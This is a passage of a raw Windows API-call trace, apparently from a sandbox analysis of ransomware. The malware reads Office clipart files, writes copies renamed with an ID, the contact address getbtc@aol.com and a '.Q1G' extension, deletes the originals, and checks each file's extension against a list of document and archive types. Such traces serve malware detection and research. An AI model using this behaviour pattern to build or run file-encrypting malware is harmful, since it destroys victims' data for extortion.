dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.532] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.533] GetLastError () returned 0x0 [0243.533] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x370, lpOverlapped=0x0) returned 1 [0243.534] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x380, lpOverlapped=0x0) returned 1 [0243.535] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.535] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.535] SetEndOfFile (hFile=0x3a0) returned 1 [0243.535] CloseHandle (hObject=0x3a0) returned 1 [0243.535] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.536] SetEndOfFile (hFile=0x398) returned 1 [0243.539] CloseHandle (hObject=0x398) returned 1 [0243.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.539] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0243.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0243.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0243.540] lstrlenW (lpString=".doc") returned 4 [0243.540] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.540] lstrlenW (lpString=".docx") returned 5 [0243.540] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.540] lstrlenW (lpString=".pdf") returned 4 [0243.540] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.540] lstrlenW (lpString=".xls") returned 4 [0243.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.540] lstrlenW (lpString=".xlsx") returned 5 [0243.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.540] lstrlenW (lpString=".ppt") returned 4 [0243.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0243.540] lstrlenW (lpString=".zip") returned 4 [0243.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.540] lstrlenW (lpString=".rar") returned 4 [0243.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.540] lstrlenW (lpString=".bz2") returned 4 [0243.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.540] lstrlenW (lpString=".7z") returned 3 [0243.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0243.540] lstrlenW (lpString=".dbf") returned 4 [0243.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0243.540] lstrlenW (lpString=".1cd") returned 4 [0243.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0243.540] lstrlenW (lpString=".jpg") returned 4 [0243.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0243.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0243.541] lstrlenW (lpString=".doc") returned 4 [0243.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.541] lstrlenW (lpString=".docx") returned 5 [0243.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.541] lstrlenW (lpString=".pdf") returned 4 [0243.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.541] lstrlenW (lpString=".xls") returned 4 [0243.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.541] lstrlenW (lpString=".xlsx") returned 5 [0243.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.541] lstrlenW (lpString=".ppt") returned 4 [0243.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0243.541] lstrlenW (lpString=".zip") returned 4 [0243.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.541] lstrlenW (lpString=".rar") returned 4 [0243.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.541] lstrlenW (lpString=".bz2") returned 4 [0243.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.541] lstrlenW (lpString=".7z") returned 3 [0243.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0243.541] lstrlenW (lpString=".dbf") returned 4 [0243.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0243.541] lstrlenW (lpString=".1cd") returned 4 [0243.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0243.541] lstrlenW (lpString=".jpg") returned 4 [0243.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.542] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.542] lstrlenW (lpString="BL00122_.WMF") returned 12 [0243.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.542] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=10146) returned 1 [0243.542] CloseHandle (hObject=0x398) returned 1 [0243.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20 [0243.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.543] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.543] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.543] GetLastError () returned 0x0 [0243.543] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x27a2, lpOverlapped=0x0) returned 1 [0243.545] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0243.546] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.546] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.546] SetEndOfFile (hFile=0x3a0) returned 1 [0243.546] CloseHandle (hObject=0x3a0) returned 1 [0243.546] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.546] SetEndOfFile (hFile=0x398) returned 1 [0243.551] CloseHandle (hObject=0x398) returned 1 [0243.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0243.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0243.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0243.551] lstrlenW (lpString=".doc") returned 4 [0243.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.551] lstrlenW (lpString=".docx") returned 5 [0243.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.552] lstrlenW (lpString=".pdf") returned 4 [0243.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.552] lstrlenW (lpString=".xls") returned 4 [0243.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.552] lstrlenW (lpString=".xlsx") returned 5 [0243.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.552] lstrlenW (lpString=".ppt") returned 4 [0243.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0243.552] lstrlenW (lpString=".zip") returned 4 [0243.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.552] lstrlenW (lpString=".rar") returned 4 [0243.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.552] lstrlenW (lpString=".bz2") returned 4 [0243.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.552] lstrlenW (lpString=".7z") returned 3 [0243.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0243.552] lstrlenW (lpString=".dbf") returned 4 [0243.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0243.552] lstrlenW (lpString=".1cd") returned 4 [0243.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0243.552] lstrlenW (lpString=".jpg") returned 4 [0243.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0243.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0243.552] lstrlenW (lpString=".doc") returned 4 [0243.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.552] lstrlenW (lpString=".docx") returned 5 [0243.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.552] lstrlenW (lpString=".pdf") returned 4 [0243.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.552] lstrlenW (lpString=".xls") returned 4 [0243.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.553] lstrlenW (lpString=".xlsx") returned 5 [0243.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.553] lstrlenW (lpString=".ppt") returned 4 [0243.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0243.553] lstrlenW (lpString=".zip") returned 4 [0243.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.553] lstrlenW (lpString=".rar") returned 4 [0243.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.553] lstrlenW (lpString=".bz2") returned 4 [0243.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.553] lstrlenW (lpString=".7z") returned 3 [0243.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0243.553] lstrlenW (lpString=".dbf") returned 4 [0243.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0243.553] lstrlenW (lpString=".1cd") returned 4 [0243.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0243.553] lstrlenW (lpString=".jpg") returned 4 [0243.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.553] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.553] lstrlenW (lpString="BL00130_.WMF") returned 12 [0243.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.556] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1464) returned 1 [0243.556] CloseHandle (hObject=0x398) returned 1 [0243.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20 [0243.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0243.557] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.557] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.557] GetLastError () returned 0x0 [0243.557] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x5b8, lpOverlapped=0x0) returned 1 [0243.559] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0243.771] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.771] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.771] SetEndOfFile (hFile=0x3a0) returned 1 [0243.771] CloseHandle (hObject=0x3a0) returned 1 [0243.787] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.787] SetEndOfFile (hFile=0x398) returned 1 [0243.809] CloseHandle (hObject=0x398) returned 1 [0243.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0243.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0243.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0243.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0243.810] lstrlenW (lpString=".doc") returned 4 [0243.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.810] lstrlenW (lpString=".docx") returned 5 [0243.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.810] lstrlenW (lpString=".pdf") returned 4 [0243.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.811] lstrlenW (lpString=".xls") returned 4 [0243.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.811] lstrlenW (lpString=".xlsx") returned 5 [0243.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.811] lstrlenW (lpString=".ppt") returned 4 [0243.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0243.811] lstrlenW (lpString=".zip") returned 4 [0243.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.811] lstrlenW (lpString=".rar") returned 4 [0243.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.811] lstrlenW (lpString=".bz2") returned 4 [0243.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.811] lstrlenW (lpString=".7z") returned 3 [0243.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0243.811] lstrlenW (lpString=".dbf") returned 4 [0243.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0243.811] lstrlenW (lpString=".1cd") returned 4 [0243.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0243.811] lstrlenW (lpString=".jpg") returned 4 [0243.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0243.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0243.811] lstrlenW (lpString=".doc") returned 4 [0243.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.811] lstrlenW (lpString=".docx") returned 5 [0243.811] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0243.811] lstrlenW (lpString=".pdf") returned 4 [0243.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.811] lstrlenW (lpString=".xls") returned 4 [0243.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.811] lstrlenW (lpString=".xlsx") returned 5 [0243.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0243.812] lstrlenW (lpString=".ppt") returned 4 [0243.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0243.812] lstrlenW (lpString=".zip") returned 4 [0243.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.812] lstrlenW (lpString=".rar") returned 4 [0243.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.812] lstrlenW (lpString=".bz2") returned 4 [0243.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.812] lstrlenW (lpString=".7z") returned 3 [0243.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0243.812] lstrlenW (lpString=".dbf") returned 4 [0243.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0243.812] lstrlenW (lpString=".1cd") returned 4 [0243.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0243.812] lstrlenW (lpString=".jpg") returned 4 [0243.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.812] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0243.812] lstrlenW (lpString="BL00254_.WMF") returned 12 [0243.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0243.922] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1736) returned 1 [0243.922] CloseHandle (hObject=0x3a0) returned 1 [0243.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x20 [0243.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0243.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0243.942] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.942] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0243.943] 